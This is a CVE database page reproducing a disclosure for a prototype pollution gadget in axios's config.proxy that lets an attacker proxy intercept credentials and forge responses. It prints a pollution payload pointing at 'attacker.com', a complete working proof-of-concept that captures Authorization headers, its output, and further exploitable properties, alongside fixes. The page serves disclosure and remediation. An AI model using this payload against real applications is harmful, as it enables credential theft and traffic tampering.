Loading...
Skip to main content

CVE-2026-44494 — Vulnerability in axios — CVE Details

HIGH

axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

Published May 29, 2026Updated September 10, 2026Source: osv

Summary

# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy` ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker's proxy server. Unlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses. **Severity:** Critical (CVSS 9.4) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object) ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-441:** Unintended Proxy or Intermediary ('Confused Deputy') ## CVSS 3.1 **Score: 9.4 (Critical)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** — unlike `transformResponse` which must return `true` | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact | ### Why This Bypasses mergeConfig The critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means: 1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set 2. `defaultToConfig2` for `proxy` is never called 3. The merged config has **no own `proxy` property** 4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain 5. `Object.prototype.proxy` is found → used by `setProxy()` This is a **more direct attack path** than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it. ## Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed. ## Proof of Concept ### 1. The Setup (Simulated Pollution) Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets: ```javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', }; ``` ### 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: ```javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } }); ``` ### 3. The Execution At `http.js:668-670`: ```javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); ``` `setProxy()` at `http.js:191-239` then: ```javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } ``` ### 4. The Impact (Full MITM) The attacker's proxy server receives: ```http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, */* ``` The `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker: - **Sees** every request URL, header, and body - **Modifies** every response (inject malicious data, change auth results) - **Logs** all API keys, session tokens, and passwords - Operates as an **invisible** proxy — the developer has no indication ### 5. Verified PoC Code ```javascript import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close(); ``` ## Verified PoC Output ``` [1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, */*", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget) ``` ## Impact Analysis - **Full Credential Interception:** Every HTTP request's `Authorization` header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - **Arbitrary Response Tampering:** The attacker can return any response data — no constraints like `transformResponse`'s "must return true". - **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios. - **Invisible Attack:** The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector. ### Why This Is More Severe Than transformResponse (axios_26) | Dimension | transformResponse Gadget | **proxy Gadget** | |---|---|---| | Data access | `this.auth` + response data | **All headers, auth, body, URL, response** | | Response control | Must return `true` | **Arbitrary responses** | | Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** | | mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** | ## Recommended Fix ### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties ```javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location); ``` ### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty` Properties not in defaults that are read by http.js and have security impact: - `config.proxy` — MITM - `config.socketPath` — Unix socket SSRF - `config.transport` — request hijack - `config.lookup` — DNS hijack - `config.beforeRedirect` — redirect manipulation - `config.httpAgent` / `config.httpsAgent` — agent injection All should use `hasOwnProperty` checks. ### Fix 3: Use null-prototype object for merged config ```javascript // In lib/core/mergeConfig.js const config = Object.create(null); ``` ## Resources - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [Axios GitHub Repository](https://github.com/axios/axios) ## Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

Advisory Timeline

  • First published May 29, 2026 (136 days ago).
  • Last revised September 10, 2026 — 103 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update axios to 1.16.0 or later
npm install axios@1.16.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
axios
npm
All versions1.16.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-44494?
axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy` This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
How do I check if my project is affected by CVE-2026-44494?
CVE-2026-44494 affects axios. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44494 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.7

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-35jp-ww65-95wh

Related CVEs

  • CVE-2026-101898
    HIGH

    Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls

  • CVE-2021-3749
    HIGH

    axios Inefficient Regular Expression Complexity vulnerability

  • CVE-2025-27152
    HIGH

    axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

  • CVE-2026-44492
    HIGH

    axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)

  • CVE-2026-101907
    HIGH

    Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF

  • CVE-2026-101904
    MEDIUM

    Axios: Header Injection via Inherited headers After Minimal Interceptor

  • CVE-2026-101908
    MEDIUM

    Axios: Prototype pollution gadget in fetch adapter can alter outbound requests

  • CVE-2023-45857
    MEDIUM

    Axios Cross-Site Request Forgery Vulnerability

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies